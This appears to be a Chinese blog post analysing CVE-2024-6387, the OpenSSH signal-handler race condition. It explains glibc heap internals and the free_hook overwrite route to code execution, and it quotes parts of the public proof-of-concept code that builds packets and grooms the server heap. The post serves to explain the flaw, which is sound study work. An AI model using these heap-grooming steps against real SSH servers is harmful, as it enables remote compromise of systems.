cve-2024-6387 SSH条件竞争
cve-2024-6387这个漏洞是今年比较新的漏洞
原理分析
其原理是利用了ssh在信号处理阶段 释放内存时调用了free函数 (一共四次)为条件竞争提供了有利条件 sshd服务
free函数并非信号处理的异步安全的调用函数 在调用中可以中断 并且可能会出现内存指针指向恶意代码的情况
首先我们要了解malloc的工作原理 malloc可以分配内存并返回一个指针 使用时 计算机会分配一块连续且完整的内存给malloc做一个堆使用 当调用malloc时 会分配内存 并返回一个指针 内存不断使用 释放 最后会内存不会连续 会存在缺块 此时malloc会对内存块整形 通过双向链表 让空闲内存块的前项链表和后向链表与其他空闲内存块连接到一起 形成连续的空闲内存块
unlink: 当内存块被用户需要时 也就是内存块不在空闲时 此时会调用ulink函数 将内存块从空闲链表中摘出
frontlink: 内存块被释放后 需要将新的内存块插入到链表中 此时会调用frontlink函数
chunk结构体:
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
这个是chunk结构体 我们将其理解为内存块 在使用中的块就是这样的结构 主要是块大小 前面的块序号 后面的块序号 及其大小
ulink将块从链表中取出 代表该块被取出使用:
#define unlink(AV, P, BK, FD) {
//其中 AV为内存块是否被使用的标志位 P为当前节点的指针 BK为后一个节点的指针 FD为前一个节点的指针
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
// 这里进行了判断 如果前向节点的后向指针不是自己或者后向节点的前项指针不是自己 此时代表链表结构被破坏
else {
FD->bk = BK;
BK->fd = FD;
//链表结构正常 此时就会把后向节点的前向节点连接到前向 也就是把两个空闲块连接到一起
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
在释放内存块时 会调用chunk free函数 在这个函数的最后一步 会调用front_link 在此之前 如果chunkfree函数被中断 没有执行frontlink函数 但是 该内存块被标识为空闲块
而该内存块数据没有被清理前向指针和后向指针都还存在
此时如果相邻节点空闲 要上链表
这个时候由于chunkfree函数没有执行完 需要再执行一次 此时 执行ulink函数
我们可以恶意构造chunk块 此时chunk块的地址前向地址会与chunk块本身重合 当向chunk块中写数据时 其实将数据写入给了前向指针所指的地址
我们可以直接写到free_hook中
此时如果前向指针指向freehook 并且写入了恶意代码
每当调用free函数时 就会触发freehook freehook然后就会触发恶意代码
实现任意代码执行的效果
poc分析
数据包构造:
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
//发出一个数据包 定义了数据包 前四个字节是数据包长度第五个是数据包类型 后续为数据包内容
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
ssh握手 这里不做详细解释
堆条件构造 : 向前合并
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}
//通过发送 64 字节的数据包,分配和释放 tcache chunks(64字节的标准块)
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
//创造了27对的洞 有大有小
// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
// 写入假的数据 构造漏洞利用结构
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
// 确保洞能进入正确的位置
此时 调用free函数 就会执行恶意代码
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本